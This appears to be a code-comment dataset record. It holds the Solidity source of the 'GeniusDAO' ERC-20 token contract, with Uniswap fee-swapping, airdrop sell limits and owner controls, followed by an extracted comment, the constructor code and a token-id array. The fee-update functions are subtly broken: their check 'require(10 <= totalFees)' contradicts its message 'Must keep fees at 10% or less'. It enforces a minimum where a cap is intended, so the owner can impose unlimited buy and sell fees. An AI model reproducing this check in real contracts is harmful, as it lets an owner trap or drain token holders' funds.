must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. (easter egg from the genius dev @nomessages9.) */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract GeniusDAO is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public buyBackWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool private gasLimitActive = true; uint256 private gasPriceLimit = 561 * 1 gwei; // do not allow over x gwei for launch // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyBuyBackFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellBuyBackFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForBuyBack; uint256 public tokensForDev; // airdrop limits to prevent airdrop dump to protect new investors mapping(address => uint256) public _airDropAddressNextSellDate; mapping(address => uint256) public _airDropTokensRemaining; uint256 public airDropLimitLiftDate; bool public airDropLimitInEffect; mapping (address => bool) public _isAirdoppedWallet; mapping (address => uint256) public _airDroppedTokenAmount; uint256 public airDropDailySellPerc; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event BuyBackTriggered(uint256 amount); event OwnerForcedSwapBack(uint256 timestamp); constructor() ERC20("GeniusDAO", "GEXT") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); airDropLimitLiftDate = block.timestamp + 10 days; airDropLimitInEffect = true; airDropDailySellPerc = 10; excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 3; uint256 _buyBuyBackFee = 0; uint256 _buyDevFee = 3; uint256 _sellMarketingFee =5; uint256 _sellLiquidityFee = 0; uint256 _sellBuyBackFee = 5; uint256 _sellDevFee = 1; uint256 totalSupply = 1 * 1e5 * 1e18; maxTransactionAmount = totalSupply * 5 / 1000; // 0.5% maxTransactionAmountTxn maxWallet = totalSupply * 5 / 100; // 5% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyBuyBackFee = _buyBuyBackFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellBuyBackFee = _sellBuyBackFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(buyBackWallet, true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(buyBackWallet, true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; gasLimitActive = false; transferDelayEnabled = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function airdropToWallets(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){ require(!tradingActive, "Trading is already active, cannot airdrop after launch."); require(airdropWallets.length == amounts.length, "arrays must be the same length"); require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input. for(uint256 i = 0; i < airdropWallets.length; i++){ address wallet = airdropWallets[i]; uint256 amount = amounts[i]; _isAirdoppedWallet[wallet] = true; _airDroppedTokenAmount[wallet] = amount; _airDropTokensRemaining[wallet] = amount; _airDropAddressNextSellDate[wallet] = block.timestamp.sub(1); _transfer(msg.sender, wallet, amount); } return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%"); maxTransactionAmount = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyBuyBackFee = _buyBackFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; require(10 <= buyTotalFees, "Must keep fees at 10% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellBuyBackFee = _buyBackFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; require(10 <= sellTotalFees, "Must keep fees at 10% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function getWalletMaxAirdropSell(address holder) public view returns (uint256){ if(airDropLimitInEffect){ return _airDroppedTokenAmount[holder].mul(airDropDailySellPerc).div(100); } return _airDropTokensRemaining[holder]; } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // only use to prevent sniper buys in the first blocks. if (gasLimitActive && automatedMarketMakerPairs[from]) { require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when sell if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } // airdrop limits if(airDropLimitInEffect){ // Check if Limit is in effect if(airDropLimitLiftDate <= block.timestamp){ airDropLimitInEffect = false; // set the limit to false if the limit date has been exceeded } else { uint256 senderBalance = balanceOf(from); // get total token balance of sender if(_isAirdoppedWallet[from] && senderBalance.sub(amount) < _airDropTokensRemaining[from]){ require(_airDropAddressNextSellDate[from] <= block.timestamp && block.timestamp >= airDropLimitLiftDate.sub(9 days), "_transfer:: Please read the contract for your next sale date."); uint256 airDropMaxSell = getWalletMaxAirdropSell(from); // airdrop 10% max sell of total airdropped tokens per day for 10 days // a bit of strange math here. The Amount of tokens being sent PLUS the amount of White List Tokens Remaining MINUS the sender's balance is the number of tokens that need to be considered as WhiteList tokens. // the check a few lines up ensures no subtraction overflows so it can never be a negative value. uint256 tokensToSubtract = amount.add(_airDropTokensRemaining[from]).sub(senderBalance); require(tokensToSubtract <= airDropMaxSell, "_transfer:: May not sell more than allocated tokens in a single day until the Limit is lifted."); _airDropTokensRemaining[from] = _airDropTokensRemaining[from].sub(tokensToSubtract); _airDropAddressNextSellDate[from] = block.timestamp + (1 days * (tokensToSubtract.mul(100).div(airDropMaxSell)))/100; // Only push out timer as a % of the transfer, so 5% could be sold in 1% chunks over the course of a day, for example. } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForBuyBack += fees * sellBuyBackFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForBuyBack += fees * buyBuyBackFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForBuyBack + tokensForDev; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForBuyBack = ethBalance.mul(tokensForBuyBack).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForBuyBack; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForBuyBack = 0; tokensForDev = 0; (bool success,) = address(marketingWallet).call{value: ethForMarketing}(""); (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } // keep leftover ETH for buyback only if there is a buyback fee, if not, send the remaining ETH to the marketing wallet if it accumulates if(buyBuyBackFee == 0 && sellBuyBackFee == 0 && address(this).balance >= 1 ether){ (success,) = address(marketingWallet).call{value: address(this).balance}(""); } } // force Swap back if slippage above 49% for launch. function forceSwapBack() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); require(contractBalance >= totalSupply() / 100, "Can only swap back if more than 1% of tokens stuck on contract"); swapBack(); emit OwnerForcedSwapBack(block.timestamp); } // useful for buybacks or to reclaim any ETH on the contract in a way that helps holders. function buyBackTokens(uint256 ethAmountInWei) external onlyOwner { // generate the uniswap pair path of weth -> eth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmountInWei}( 0, // accept any amount of Ethereum path, address(0xdead), block.timestamp ); emit BuyBackTriggered(ethAmountInWei); } }
exclude from paying fees or having max transaction amount
constructor() ERC20("GeniusDAO", "GEXT") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); airDropLimitLiftDate = block.timestamp + 10 days; airDropLimitInEffect = true; airDropDailySellPerc = 10; excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 3; uint256 _buyBuyBackFee = 0; uint256 _buyDevFee = 3; uint256 _sellMarketingFee =5; uint256 _sellLiquidityFee = 0; uint256 _sellBuyBackFee = 5; uint256 _sellDevFee = 1; uint256 totalSupply = 1 * 1e5 * 1e18; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyBuyBackFee = _buyBuyBackFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellBuyBackFee = _sellBuyBackFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(buyBackWallet, true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(buyBackWallet, true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
7,689,776
[ 1, 10157, 628, 8843, 310, 1656, 281, 578, 7999, 943, 2492, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
